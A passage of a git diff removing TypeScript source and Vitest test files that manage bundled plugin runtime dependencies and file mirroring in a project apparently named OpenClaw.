installSpecs: plan.installSpecs, - env: params.env, - ...(params.onProgress ? { onProgress: params.onProgress } : {}), - }), - ); - if (reuseResult) { - const refreshedPlan = createBundledRuntimeDepsPackagePlan(params); - if (reuseResult.status === "materialized") { - pruneSiblingExternalBundledRuntimeDepsRoots({ - installRoot: refreshedPlan.installRootPlan.installRoot, - ...(params.warn ? { warn: params.warn } : {}), - }); - } - return { - plan: refreshedPlan, - repairedSpecs: [], - ...(reuseResult.status === "reused" - ? { - reusedSpecs: refreshedPlan.installSpecs, - reusedFromRoot: reuseResult.sourceRoot, - } - : {}), - }; - } - const result = await repairBundledRuntimeDepsInstallRootAsync({ - installRoot: plan.installRootPlan.installRoot, - missingSpecs: plan.missingSpecs, - installSpecs: plan.installSpecs, - env: params.env, - ...(params.installDeps - ? { - installDeps: async (installParams) => { - await params.installDeps?.(installParams); - }, - } - : {}), - ...(params.onProgress ? { onProgress: params.onProgress } : {}), - ...(params.warn ? { warn: params.warn } : {}), - }); - pruneSiblingExternalBundledRuntimeDepsRoots({ - installRoot: plan.installRootPlan.installRoot, - ...(params.warn ? { warn: params.warn } : {}), - }); - return { plan, repairedSpecs: result.installSpecs }; -} - -export function createBundledRuntimeDependencyAliasMap(params: { - pluginRoot: string; - installRoot: string; -}): Record { - if (path.resolve(params.installRoot) === path.resolve(params.pluginRoot)) { - return {}; - } - const packageJson = readRuntimeDepsJsonObject(path.join(params.pluginRoot, "package.json")); - if (!packageJson) { - return {}; - } - const aliases: Record = {}; - for (const name of Object.keys(collectPackageRuntimeDeps(packageJson)).toSorted((a, b) => - a.localeCompare(b), - )) { - const normalizedName = normalizeInstallableRuntimeDepName(name); - if (!normalizedName) { - continue; - } - const target = path.join(params.installRoot, "node_modules", ...normalizedName.split("/")); - if (fs.existsSync(path.join(target, "package.json"))) { - aliases[normalizedName] = target; - } - } - return aliases; -} - -export function ensureBundledPluginRuntimeDeps(params: { - pluginId: string; - pluginRoot: string; - env: NodeJS.ProcessEnv; - config?: OpenClawConfig; - installMissingDeps?: boolean; - installDeps?: (params: BundledRuntimeDepsInstallParams) => void; -}): BundledRuntimeDepsEnsureResult { - const extensionsDir = path.dirname(params.pluginRoot); - const manifestCache: BundledPluginRuntimeDepsManifestCache = new Map(); - const normalizePluginId = params.config - ? createBundledRuntimeDepsPluginIdNormalizer({ - extensionsDir, - manifestCache, - }) - : undefined; - const plugins = params.config - ? normalizePluginsConfigWithResolver(params.config.plugins, normalizePluginId) - : undefined; - if ( - params.config && - plugins && - !isBundledPluginConfiguredForRuntimeDeps({ - config: params.config, - plugins, - pluginId: params.pluginId, - pluginDir: params.pluginRoot, - configuredModelOwnerPluginIds: resolveBundledRuntimeDepsConfiguredModelOwnerPluginIds({ - config: params.config, - extensionsDir, - manifestCache, - }), - manifestCache, - }) - ) { - return createBundledRuntimeDepsEnsureResult([]); - } - const packageJson = readRuntimeDepsJsonObject(path.join(params.pluginRoot, "package.json")); - if (!packageJson) { - return createBundledRuntimeDepsEnsureResult([]); - } - const pluginDeps = Object.entries(collectPackageRuntimeDeps(packageJson)) - .map(([name, rawVersion]) => parseInstallableRuntimeDep(name, rawVersion)) - .filter((entry): entry is { name: string; version: string } => Boolean(entry)); - const pluginDepEntries = pluginDeps.map((dep) => ({ - name: dep.name, - version: dep.version, - pluginIds: [params.pluginId], - })); - - const installRootPlan = resolveBundledRuntimeDependencyInstallRootPlan(params.pluginRoot, { - env: params.env, - }); - const installRoot = installRootPlan.installRoot; - const packageRoot = resolveBundledRuntimeDependencyPackageRoot(params.pluginRoot); - const usePackageLevelPlan = - packageRoot && - !isSourceCheckoutRoot(packageRoot) && - path.resolve(installRoot) !== path.resolve(params.pluginRoot); - let deps = pluginDepEntries; - if (usePackageLevelPlan && packageRoot) { - const requestedPluginPlan = collectPackageLevelRuntimeDepsForPlugin({ - extensionsDir, - pluginId: params.pluginId, - pluginDepEntries, - ...(params.config ? { config: params.config } : {}), - manifestCache, - ...(normalizePluginId ? { normalizePluginId } : {}), - }); - if ( - requestedPluginPlan.conflicts.length === 0 && - arePackageLevelRuntimeDepsAlreadyMaterialized({ - installRoot, - packageRoot, - pluginDeps: requestedPluginPlan.deps, - }) - ) { - removeLegacyRuntimeDepsManifest(installRoot); - return createBundledRuntimeDepsEnsureResult([]); - } - const packagePlan = collectBundledPluginRuntimeDeps({ - extensionsDir, - ...(params.config ? { config: params.config } : {}), - manifestCache, - ...(normalizePluginId ? { normalizePluginId } : {}), - }); - if (packagePlan.conflicts.length === 0 && packagePlan.deps.length > 0) { - deps = mergeRuntimeDepEntries([ - ...packagePlan.deps, - ...collectMirroredPackageRuntimeDeps(packageRoot), - ]); - } else { - deps = mergeRuntimeDepEntries([ - ...pluginDepEntries, - ...collectMirroredPackageRuntimeDeps(packageRoot), - ]); - } - } - if (deps.length === 0) { - return createBundledRuntimeDepsEnsureResult([]); - } - const plan = createBundledRuntimeDepsPlan({ - deps, - conflicts: [], - installRootPlan, - }); - return withBundledRuntimeDepsInstallRootLock(installRoot, () => { - const installSpecs = plan.installSpecs; - if (isRuntimeDepsPlanMaterialized(installRoot, installSpecs)) { - removeLegacyRuntimeDepsManifest(installRoot); - return createBundledRuntimeDepsEnsureResult([]); - } - if ( - tryReuseBundledRuntimeDepsRoot({ - installRootPlan: plan.installRootPlan, - installSpecs, - env: params.env, - }) - ) { - return createBundledRuntimeDepsEnsureResult([]); - } - if (params.installMissingDeps === false) { - throw new BundledRuntimeDepsMissingError({ - pluginId: params.pluginId, - installRoot, - missingSpecs: installSpecs, - }); - } - const isPluginRootInstall = path.resolve(installRoot) === path.resolve(params.pluginRoot); - const installExecutionRoot = isPluginRootInstall - ? path.join(installRoot, PLUGIN_ROOT_INSTALL_STAGE_DIR) - : undefined; - removeLegacyRuntimeDepsManifest(installRoot); - - const install = - params.installDeps ?? - ((installParams) => { - return installBundledRuntimeDeps({ - installRoot: installParams.installRoot, - installExecutionRoot: installParams.installExecutionRoot, - missingSpecs: installParams.installSpecs ?? installParams.missingSpecs, - installSpecs: installParams.installSpecs, - env: params.env, - force: true, - }); - }); - const finishActivity = beginBundledRuntimeDepsInstall({ - installRoot, - missingSpecs: installSpecs, - installSpecs, - pluginId: params.pluginId, - }); - if (!installExecutionRoot) { - ensureNpmInstallExecutionManifest(installRoot, installSpecs); - } - try { - install({ - installRoot, - ...(installExecutionRoot ? { installExecutionRoot } : {}), - missingSpecs: installSpecs, - installSpecs, - }); - } finally { - finishActivity(); - } - removeLegacyRuntimeDepsManifest(installRoot); - return createBundledRuntimeDepsEnsureResult(installSpecs); - }); -} diff --git a/src/plugins/bundled-runtime-dist-mirror-cache.ts b/src/plugins/bundled-runtime-dist-mirror-cache.ts deleted file mode 100644 index 5a70c856eaa..00000000000 --- a/src/plugins/bundled-runtime-dist-mirror-cache.ts +++ /dev/null @@ -1,52 +0,0 @@ -import fs from "node:fs"; -import path from "node:path"; - -const preparedBundledRuntimeDistMirrors = new Set(); - -export function clearBundledRuntimeDistMirrorPreparationCache(): void { - preparedBundledRuntimeDistMirrors.clear(); -} - -export function shouldReusePreparedBundledRuntimeDistMirror(params: { - sourceDistRoot: string; - mirrorDistRoot: string; -}): boolean { - if (isSourceCheckoutDistRoot(params.sourceDistRoot)) { - return false; - } - if (!preparedBundledRuntimeDistMirrors.has(bundledRuntimeDistMirrorCacheKey(params))) { - return false; - } - return ( - fs.existsSync(params.mirrorDistRoot) && - fs.existsSync(path.join(params.mirrorDistRoot, "extensions")) && - fs.existsSync(path.join(params.mirrorDistRoot, "package.json")) - ); -} - -export function markBundledRuntimeDistMirrorPrepared(params: { - sourceDistRoot: string; - mirrorDistRoot: string; -}): void { - if (isSourceCheckoutDistRoot(params.sourceDistRoot)) { - return; - } - preparedBundledRuntimeDistMirrors.add(bundledRuntimeDistMirrorCacheKey(params)); -} - -function bundledRuntimeDistMirrorCacheKey(params: { - sourceDistRoot: string; - mirrorDistRoot: string; -}): string { - return `${path.resolve(params.sourceDistRoot)}\0${path.resolve(params.mirrorDistRoot)}`; -} - -function isSourceCheckoutDistRoot(sourceDistRoot: string): boolean { - const packageRoot = path.dirname(sourceDistRoot); - return ( - (fs.existsSync(path.join(packageRoot, ".git")) || - fs.existsSync(path.join(packageRoot, "pnpm-workspace.yaml"))) && - fs.existsSync(path.join(packageRoot, "src")) && - fs.existsSync(path.join(packageRoot, "extensions")) - ); -} diff --git a/src/plugins/bundled-runtime-mirror.test.ts b/src/plugins/bundled-runtime-mirror.test.ts deleted file mode 100644 index 0ac93736a1d..00000000000 --- a/src/plugins/bundled-runtime-mirror.test.ts +++ /dev/null @@ -1,142 +0,0 @@ -import fs from "node:fs"; -import os from "node:os"; -import path from "node:path"; -import { afterEach, describe, expect, it, vi } from "vitest"; -import { - materializeBundledRuntimeMirrorFile, - refreshBundledPluginRuntimeMirrorRoot, -} from "./bundled-runtime-mirror.js"; - -const tempRoots: string[] = []; - -function makeTempRoot(): string { - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-bundled-runtime-mirror-")); - tempRoots.push(root); - return root; -} - -afterEach(() => { - vi.restoreAllMocks(); - for (const root of tempRoots.splice(0)) { - fs.rmSync(root, { recursive: true, force: true }); - } -}); - -describe("refreshBundledPluginRuntimeMirrorRoot", () => { - it("refreshes stale mirrors without leaving removed source files behind", () => { - const root = makeTempRoot(); - const sourceRoot = path.join(root, "source"); - const targetRoot = path.join(root, "target"); - fs.mkdirSync(sourceRoot, { recursive: true }); - fs.mkdirSync(targetRoot, { recursive: true }); - fs.writeFileSync(path.join(sourceRoot, "old.js"), "export const value = 'v1';\n", "utf8"); - - expect( - refreshBundledPluginRuntimeMirrorRoot({ - pluginId: "demo", - sourceRoot, - targetRoot, - }), - ).toBe(true); - - fs.rmSync(path.join(sourceRoot, "old.js")); - fs.writeFileSync(path.join(sourceRoot, "new.js"), "export const value = 'v2';\n", "utf8"); - - expect( - refreshBundledPluginRuntimeMirrorRoot({ - pluginId: "demo", - sourceRoot, - targetRoot, - }), - ).toBe(true); - - expect(fs.readdirSync(targetRoot).toSorted()).toEqual([ - ".openclaw-runtime-mirror.json", - "new.js", - ]); - expect(fs.readFileSync(path.join(targetRoot, "new.js"), "utf8")).toContain("v2"); - expect( - refreshBundledPluginRuntimeMirrorRoot({ - pluginId: "demo", - sourceRoot, - targetRoot, - }), - ).toBe(false); - }); - - it("replaces stale target entries when the source changes type", () => { - const root = makeTempRoot(); - const sourceRoot = path.join(root, "source"); - const targetRoot = path.join(root, "target"); - fs.mkdirSync(path.join(sourceRoot, "entry"), { recursive: true }); - fs.writeFileSync(path.join(sourceRoot, "entry", "index.js"), "export const value = 1;\n"); - - expect( - refreshBundledPluginRuntimeMirrorRoot({ - pluginId: "demo", - sourceRoot, - targetRoot, - }), - ).toBe(true); - - fs.rmSync(path.join(sourceRoot, "entry"), { recursive: true, force: true }); - fs.writeFileSync(path.join(sourceRoot, "entry"), "export const value = 2;\n"); - - expect( - refreshBundledPluginRuntimeMirrorRoot({ - pluginId: "demo", - sourceRoot, - targetRoot, - }), - ).toBe(true); - - expect(fs.lstatSync(path.join(targetRoot, "entry")).isFile()).toBe(true); - expect(fs.readFileSync(path.join(targetRoot, "entry"), "utf8")).toContain("2"); - }); - - it("replaces stale symlinked mirror roots before creating temp files", () => { - const root = makeTempRoot(); - const sourceRoot = path.join(root, "source"); - const targetRoot = path.join(root, "target"); - const staleRoot = path.join(root, "stale-image-layer"); - fs.mkdirSync(sourceRoot, { recursive: true }); - fs.mkdirSync(staleRoot, { recursive: true }); - fs.writeFileSync(path.join(sourceRoot, "fresh.js"), "export const value = 'fresh';\n", "utf8"); - fs.symlinkSync(staleRoot, targetRoot, "dir"); - - expect( - refreshBundledPluginRuntimeMirrorRoot({ - pluginId: "demo", - sourceRoot, - targetRoot, - }), - ).toBe(true); - - expect(fs.lstatSync(targetRoot).isSymbolicLink()).toBe(false); - expect(fs.readFileSync(path.join(targetRoot, "fresh.js"), "utf8")).toContain("fresh"); - expect(fs.existsSync(path.join(staleRoot, "fresh.js"))).toBe(false); - }); - - it("does not rewrite already materialized hardlinks", () => { - const root = makeTempRoot(); - const sourcePath = path.join(root, "source.js"); - const targetPath = path.join(root, "target.js"); - fs.writeFileSync(sourcePath, "export const value = 1;\n", "utf8"); - fs.linkSync(sourcePath, targetPath); - const linkSpy = vi.spyOn(fs, "linkSync"); - const copySpy = vi.spyOn(fs, "copyFileSync"); - const renameSpy = vi.spyOn(fs, "renameSync"); - - materializeBundledRuntimeMirrorFile(sourcePath, targetPath); - - expect(linkSpy).not.toHaveBeenCalled(); - expect(copySpy).not.toHaveBeenCalled(); - expect(renameSpy).not.toHaveBeenCalled(); - const sourceStat = fs.lstatSync(sourcePath); - const targetStat = fs.lstatSync(targetPath); - expect({ dev: targetStat.dev, ino: targetStat.ino }).toEqual({ - dev: sourceStat.dev, - ino: sourceStat.ino, - }); - }); -}); diff --git a/src/plugins/bundled-runtime-mirror.ts b/src/plugins/bundled-runtime-mirror.ts deleted file mode 100644 index dc07cfc539a..00000000000 --- a/src/plugins/bundled-runtime-mirror.ts +++ /dev/null @@ -1,368 +0,0 @@ -import { createHash } from "node:crypto"; -import fs from "node:fs"; -import path from "node:path"; -import { tracePluginLifecyclePhase } from "./plugin-lifecycle-trace.js"; - -const BUNDLED_RUNTIME_MIRROR_METADATA_FILE = ".openclaw-runtime-mirror.json"; -const BUNDLED_RUNTIME_MIRROR_METADATA_VERSION = 1; - -type BundledRuntimeMirrorMetadata = { - version: number; - pluginId: string; - sourceRoot: string; - sourceFingerprint: string; -}; - -export type PrecomputedBundledRuntimeMirrorMetadata = Pick< - BundledRuntimeMirrorMetadata, - "sourceRoot" | "sourceFingerprint" ->; - -export function refreshBundledPluginRuntimeMirrorRoot(params: { - pluginId: string; - sourceRoot: string; - targetRoot: string; - tempDirParent?: string; - precomputedSourceMetadata?: PrecomputedBundledRuntimeMirrorMetadata; -}): boolean { - return tracePluginLifecyclePhase( - "runtime mirror refresh", - () => { - if (path.resolve(params.sourceRoot) === path.resolve(params.targetRoot)) { - return false; - } - const metadata = createBundledRuntimeMirrorMetadata(params, params.precomputedSourceMetadata); - if (isBundledRuntimeMirrorRootFresh(params.targetRoot, metadata)) { - return false; - } - copyBundledPluginRuntimeRoot(params.sourceRoot, params.targetRoot); - writeBundledRuntimeMirrorMetadata(params.targetRoot, metadata); - return true; - }, - { pluginId: params.pluginId }, - ); -} - -export function copyBundledPluginRuntimeRoot(sourceRoot: string, targetRoot: string): void { - if (path.resolve(sourceRoot) === path.resolve(targetRoot)) { - return; - } - ensureBundledRuntimeMirrorDirectory(targetRoot); - const mirroredNames = new Set(); - for (const entry of fs.readdirSync(sourceRoot, { withFileTypes: true })) { - if (shouldIgnoreBundledRuntimeMirrorEntry(entry.name)) { - continue; - } - if (!entry.isDirectory() && !entry.isSymbolicLink() && !entry.isFile()) { - continue; - } - mirroredNames.add(entry.name); - const sourcePath = path.join(sourceRoot, entry.name); - const targetPath = path.join(targetRoot, entry.name); - if (entry.isDirectory()) { - removeBundledRuntimeMirrorPathIfTypeChanged(targetPath, "directory"); - copyBundledPluginRuntimeRoot(sourcePath, targetPath); - continue; - } - if (entry.isSymbolicLink()) { - removeBundledRuntimeMirrorPathIfTypeChanged(targetPath, "symlink"); - replaceBundledRuntimeMirrorSymlinkAtomic(fs.readlinkSync(sourcePath), targetPath); - continue; - } - removeBundledRuntimeMirrorPathIfTypeChanged(targetPath, "file"); - copyBundledRuntimeMirrorFileAtomic(sourcePath, targetPath); - chmodBundledRuntimeMirrorFileReadable(sourcePath, targetPath); - } - pruneStaleBundledRuntimeMirrorEntries(targetRoot, mirroredNames); -} - -export function materializeBundledRuntimeMirrorFile(sourcePath: string, targetPath: string): void { - if (path.resolve(sourcePath) === path.resolve(targetPath)) { - return; - } - try { - if (isBundledRuntimeMirrorFileAlreadyMaterialized(sourcePath, targetPath)) { - return; - } - } catch { - // Missing targets are expected before the mirror file is materialized. - } - ensureBundledRuntimeMirrorDirectory(path.dirname(targetPath)); - removeBundledRuntimeMirrorPathIfTypeChanged(targetPath, "file"); - const tempPath = createBundledRuntimeMirrorTempPath(targetPath); - try { - try { - fs.linkSync(sourcePath, tempPath); - } catch { - fs.copyFileSync(sourcePath, tempPath); - chmodBundledRuntimeMirrorFileReadable(sourcePath, tempPath); - } - fs.renameSync(tempPath, targetPath); - } catch (error) { - fs.rmSync(tempPath, { force: true }); - throw error; - } -} - -function isBundledRuntimeMirrorFileAlreadyMaterialized( - sourcePath: string, - targetPath: string, -): boolean { - const sourceStat = fs.lstatSync(sourcePath); - const targetStat = fs.lstatSync(targetPath); - return ( - sourceStat.isFile() && - targetStat.isFile() && - sourceStat.dev === targetStat.dev && - sourceStat.ino === targetStat.ino - ); -} -function chmodBundledRuntimeMirrorFileReadable(sourcePath: string, targetPath: string): void { - try { - const sourceMode = fs.statSync(sourcePath).mode; - fs.chmodSync(targetPath, sourceMode | 0o600); - } catch { - // Readable mirrored files are enough for plugin loading. - } -} - -function pruneStaleBundledRuntimeMirrorEntries( - targetRoot: string, - mirroredNames: Set, -): void { - for (const entry of fs.readdirSync(targetRoot, { withFileTypes: true })) { - if (shouldIgnoreBundledRuntimeMirrorEntry(entry.name)) { - continue; - } - if (mirroredNames.has(entry.name)) { - continue; - } - fs.rmSync(path.join(targetRoot, entry.name), { recursive: true, force: true }); - } -} - -function ensureBundledRuntimeMirrorDirectory(targetRoot: string): void { - try { - const stat = fs.lstatSync(targetRoot); - if (stat.isDirectory() && !stat.isSymbolicLink()) { - return; - } - fs.rmSync(targetRoot, { recursive: true, force: true }); - } catch (error) { - if ((error as NodeJS.ErrnoException).code !== "ENOENT") { - throw error; - } - } - fs.mkdirSync(targetRoot, { recursive: true, mode: 0o755 }); -} - -function removeBundledRuntimeMirrorPathIfTypeChanged( - targetPath: string, - expectedType: "directory" | "file" | "symlink", -): void { - let stat: fs.Stats; - try { - stat = fs.lstatSync(targetPath); - } catch { - return; - } - const matches = - expectedType === "directory" - ? stat.isDirectory() - : expectedType === "symlink" - ? stat.isSymbolicLink() - : stat.isFile(); - if (!matches) { - fs.rmSync(targetPath, { recursive: true, force: true }); - } -} - -function replaceBundledRuntimeMirrorSymlinkAtomic(linkTarget: string, targetPath: string): void { - ensureBundledRuntimeMirrorDirectory(path.dirname(targetPath)); - const tempPath = createBundledRuntimeMirrorTempPath(targetPath); - try { - fs.symlinkSync(linkTarget, tempPath); - fs.renameSync(tempPath, targetPath); - } finally { - fs.rmSync(tempPath, { force: true }); - } -} - -function copyBundledRuntimeMirrorFileAtomic(sourcePath: string, targetPath: string): void { - ensureBundledRuntimeMirrorDirectory(path.dirname(targetPath)); - const tempPath = createBundledRuntimeMirrorTempPath(targetPath); - try { - fs.copyFileSync(sourcePath, tempPath); - fs.renameSync(tempPath, targetPath); - } finally { - fs.rmSync(tempPath, { force: true }); - } -} - -function createBundledRuntimeMirrorTempPath(targetPath: string): string { - return path.join( - path.dirname(targetPath), - `.openclaw-mirror-${process.pid}-${process.hrtime.bigint()}-${path.basename(targetPath)}.tmp`, - ); -} - -export function precomputeBundledRuntimeMirrorMetadata(params: { - sourceRoot: string; -}): PrecomputedBundledRuntimeMirrorMetadata { - return { - sourceRoot: resolveBundledRuntimeMirrorSourceRootId(params.sourceRoot), - sourceFingerprint: fingerprintBundledRuntimeMirrorSourceRoot(params.sourceRoot), - }; -} - -function createBundledRuntimeMirrorMetadata( - params: { - pluginId: string; - sourceRoot: string; - }, - precomputedSourceMetadata?: PrecomputedBundledRuntimeMirrorMetadata, -): BundledRuntimeMirrorMetadata { - const sourceRoot = resolveBundledRuntimeMirrorSourceRootId(params.sourceRoot); - return { - version: BUNDLED_RUNTIME_MIRROR_METADATA_VERSION, - pluginId: params.pluginId, - sourceRoot, - sourceFingerprint: - precomputedSourceMetadata?.sourceRoot === sourceRoot - ? precomputedSourceMetadata.sourceFingerprint - : fingerprintBundledRuntimeMirrorSourceRoot(params.sourceRoot), - }; -} - -function isBundledRuntimeMirrorRootFresh( - targetRoot: string, - expected: BundledRuntimeMirrorMetadata, -): boolean { - try { - if (!fs.lstatSync(targetRoot).isDirectory()) { - return false; - } - } catch { - return false; - } - const actual = readBundledRuntimeMirrorMetadata(targetRoot); - return ( - actual?.version === expected.version && - actual.pluginId === expected.pluginId && - actual.sourceRoot === expected.sourceRoot && - actual.sourceFingerprint === expected.sourceFingerprint - ); -} - -function readBundledRuntimeMirrorMetadata(targetRoot: string): BundledRuntimeMirrorMetadata | null { - try { - const parsed = JSON.parse( - fs.readFileSync(path.join(targetRoot, BUNDLED_RUNTIME_MIRROR_METADATA_FILE), "utf8"), - ) as Partial; - if ( - parsed.version !== BUNDLED_RUNTIME_MIRROR_METADATA_VERSION || - typeof parsed.pluginId !== "string" || - typeof parsed.sourceRoot !== "string" || - typeof parsed.sourceFingerprint !== "string" - ) { - return null; - } - return parsed as BundledRuntimeMirrorMetadata; - } catch { - return null; - } -} - -function writeBundledRuntimeMirrorMetadata( - targetRoot: string, - metadata: BundledRuntimeMirrorMetadata, -): void { - fs.writeFileSync( - path.join(targetRoot, BUNDLED_RUNTIME_MIRROR_METADATA_FILE), - `${JSON.stringify(metadata, null, 2)}\n`, - "utf8", - ); -} - -function fingerprintBundledRuntimeMirrorSourceRoot(sourceRoot: string): string { - return tracePluginLifecyclePhase( - "runtime mirror fingerprint", - () => { - const hash = createHash("sha256"); - hashBundledRuntimeMirrorDirectory(hash, sourceRoot, sourceRoot); - return hash.digest("hex"); - }, - { sourceRoot }, - ); -} - -function hashBundledRuntimeMirrorDirectory( - hash: ReturnType, - sourceRoot: string, - directory: string, -): void { - const entries = fs - .readdirSync(directory, { withFileTypes: true }) - .filter((entry) => !shouldIgnoreBundledRuntimeMirrorEntry(entry.name)) - .toSorted((left, right) => left.name.localeCompare(right.name)); - - for (const entry of entries) { - const sourcePath = path.join(directory, entry.name); - const relativePath = path.relative(sourceRoot, sourcePath).replaceAll(path.sep, "/"); - const stat = fs.lstatSync(sourcePath, { bigint: true }); - if (entry.isDirectory()) { - updateBundledRuntimeMirrorHash(hash, [ - "dir", - relativePath, - formatBundledRuntimeMirrorMode(stat.mode), - ]); - hashBundledRuntimeMirrorDirectory(hash, sourceRoot, sourcePath); - continue; - } - if (entry.isSymbolicLink()) { - updateBundledRuntimeMirrorHash(hash, [ - "symlink", - relativePath, - formatBundledRuntimeMirrorMode(stat.mode), - stat.ctimeNs.toString(), - fs.readlinkSync(sourcePath), - ]); - continue; - } - if (!entry.isFile()) { - continue; - } - updateBundledRuntimeMirrorHash(hash, [ - "file", - relativePath, - formatBundledRuntimeMirrorMode(stat.mode), - stat.size.toString(), - stat.mtimeNs.toString(), - stat.ctimeNs.toString(), - ]); - } -} - -function updateBundledRuntimeMirrorHash( - hash: ReturnType, - fields: readonly string[], -): void { - hash.update(JSON.stringify(fields)); - hash.update("\n"); -} - -function formatBundledRuntimeMirrorMode(mode: bigint): string { - return (mode & 0o7777n).toString(8); -} - -function resolveBundledRuntimeMirrorSourceRootId(sourceRoot: string): string { - try { - return fs.realpathSync.native(sourceRoot); - } catch { - return path.resolve(sourceRoot); - } -} - -function shouldIgnoreBundledRuntimeMirrorEntry(name: string): boolean { - return name === "node_modules" || name === BUNDLED_RUNTIME_MIRROR_METADATA_FILE; -} diff --git a/src/plugins/bundled-runtime-root.test.ts b/src/plugins/bundled-runtime-root.test.ts deleted file mode 100644 index 7b5f982a056..00000000000 --- a/src/plugins/bundled-runtime-root.test.ts +++ /dev/null @@ -1,756 +0,0 @@ -import fs from "node:fs"; -import os from "node:os"; -import path from "node:path"; -import { afterEach, describe, expect, it, vi } from "vitest"; -import type { BundledRuntimeDepsInstallParams } from "./bundled-runtime-deps-install.js"; -import { resolveBundledRuntimeDependencyInstallRoot } from "./bundled-runtime-deps-roots.js"; -import { materializeBundledRuntimeMirrorFile } from "./bundled-runtime-mirror.js"; -import { - clearPreparedBundledPluginRuntimeLoadRoots, - prepareBundledPluginRuntimeLoadRoot, - prepareBundledPluginRuntimeRoot, -} from "./bundled-runtime-root.js"; -import { - writeGeneratedRuntimeDepsManifest, - writeInstalledRuntimeDepPackage, -} from "./test-helpers/bundled-runtime-deps-fixtures.js"; - -const tempRoots: string[] = []; - -function makeTempRoot(): string { - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-bundled-runtime-root-")); - tempRoots.push(root); - return root; -} - -afterEach(() => { - vi.restoreAllMocks(); - clearPreparedBundledPluginRuntimeLoadRoots(); - for (const root of tempRoots.splice(0)) { - fs.rmSync(root, { recursive: true, force: true }); - } -}); - -async function waitForFilesystemTimestampTick(): Promise { - await new Promise((resolve) => setTimeout(resolve, 50)); -} - -function isPathInsideRoot(candidate: string, root: string): boolean { - const relative = path.relative(root, candidate); - return relative === "" || (!relative.startsWith("..") && !path.isAbsolute(relative)); -} - -function isBigIntStatOptions(options: unknown): boolean { - return Boolean( - options && typeof options === "object" && "bigint" in options && options.bigint === true, - ); -} - -describe("prepareBundledPluginRuntimeRoot", () => { - it("keeps existing materialized root chunks when copy refresh fails", () => { - const root = makeTempRoot(); - const source = path.join(root, "source.js"); - const target = path.join(root, "mirror", "source.js"); - fs.writeFileSync(source, "export const value = 'new';\n", "utf8"); - fs.mkdirSync(path.dirname(target), { recursive: true }); - fs.writeFileSync(target, "export const value = 'old';\n", "utf8"); - vi.spyOn(fs, "linkSync").mockImplementation(() => { - throw new Error("EXDEV"); - }); - vi.spyOn(fs, "copyFileSync").mockImplementation(() => { - throw new Error("ENOSPC"); - }); - - expect(() => materializeBundledRuntimeMirrorFile(source, target)).toThrow("ENOSPC"); - expect(fs.readFileSync(target, "utf8")).toBe("export const value = 'old';\n"); - }); - - it("reuses existing hardlinked mirror files without rewriting them", () => { - const root = makeTempRoot(); - const source = path.join(root, "source.js"); - const target = path.join(root, "mirror", "source.js"); - fs.writeFileSync(source, "export const value = 'stable';\n", "utf8"); - fs.mkdirSync(path.dirname(target), { recursive: true }); - fs.linkSync(source, target); - const initialTargetStat = fs.statSync(target, { bigint: true }); - - const linkSpy = vi.spyOn(fs, "linkSync"); - const copySpy = vi.spyOn(fs, "copyFileSync"); - const removeSpy = vi.spyOn(fs, "rmSync"); - - materializeBundledRuntimeMirrorFile(source, target); - - const reusedTargetStat = fs.statSync(target, { bigint: true }); - expect(reusedTargetStat.dev).toBe(initialTargetStat.dev); - expect(reusedTargetStat.ino).toBe(initialTargetStat.ino); - expect(linkSpy).not.toHaveBeenCalled(); - expect(copySpy).not.toHaveBeenCalled(); - expect(removeSpy).not.toHaveBeenCalled(); - }); - - it("materializes root JavaScript chunks in external mirrors", () => { - const packageRoot = makeTempRoot(); - const stageDir = makeTempRoot(); - const pluginRoot = path.join(packageRoot, "dist", "extensions", "browser"); - const env = { ...process.env, OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.24", type: "module" }), - "utf8", - ); - fs.writeFileSync( - path.join(packageRoot, "dist", "pw-ai.js"), - [ - `//#region extensions/browser/src/pw-ai.ts`, - `import { marker } from "playwright-core";`, - `export { marker };`, - `//#endregion`, - "", - ].join("\n"), - "utf8", - ); - fs.writeFileSync( - path.join(packageRoot, "dist", "shared-runtime.js"), - "export const shared = 'mirrored-without-region';\n", - "utf8", - ); - fs.writeFileSync( - path.join(packageRoot, "dist", "config-runtime.js"), - "import JSON5 from 'json5'; export const parse = JSON5.parse;\n", - "utf8", - ); - fs.writeFileSync( - path.join(packageRoot, "dist", "string-runtime.js"), - `const text = 'not an import: from "zod"'; export const marker = text;\n`, - "utf8", - ); - fs.writeFileSync( - path.join(pluginRoot, "index.js"), - `import { marker } from "../../pw-ai.js"; export default { id: "browser", marker };\n`, - "utf8", - ); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify( - { - name: "@openclaw/browser", - version: "1.0.0", - type: "module", - dependencies: { - "playwright-core": "1.0.0", - }, - openclaw: { extensions: ["./index.js"] }, - }, - null, - 2, - ), - "utf8", - ); - - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { env }); - const depRoot = path.join(installRoot, "node_modules", "playwright-core"); - fs.mkdirSync(depRoot, { recursive: true }); - fs.writeFileSync( - path.join(depRoot, "package.json"), - JSON.stringify({ - name: "playwright-core", - version: "1.0.0", - type: "module", - exports: "./index.js", - }), - "utf8", - ); - fs.writeFileSync(path.join(depRoot, "index.js"), "export const marker = 'stage-ok';\n", "utf8"); - writeGeneratedRuntimeDepsManifest(installRoot, ["playwright-core@1.0.0"]); - - const staleMirrorChunk = path.join(installRoot, "dist", "pw-ai.js"); - fs.mkdirSync(path.dirname(staleMirrorChunk), { recursive: true }); - fs.symlinkSync(path.join(packageRoot, "dist", "pw-ai.js"), staleMirrorChunk, "file"); - - const prepared = prepareBundledPluginRuntimeRoot({ - pluginId: "browser", - pluginRoot, - modulePath: path.join(pluginRoot, "index.js"), - env, - }); - - expect(prepared.pluginRoot).toBe(path.join(installRoot, "dist", "extensions", "browser")); - expect(prepared.modulePath).toBe(path.join(prepared.pluginRoot, "index.js")); - expect(fs.lstatSync(staleMirrorChunk).isSymbolicLink()).toBe(false); - - const preparedAgain = prepareBundledPluginRuntimeRoot({ - pluginId: "browser", - pluginRoot: prepared.pluginRoot, - modulePath: prepared.modulePath, - env, - }); - - expect(preparedAgain).toEqual(prepared); - expect(fs.existsSync(staleMirrorChunk)).toBe(true); - expect(fs.lstatSync(staleMirrorChunk).isSymbolicLink()).toBe(false); - expect(fs.readFileSync(staleMirrorChunk, 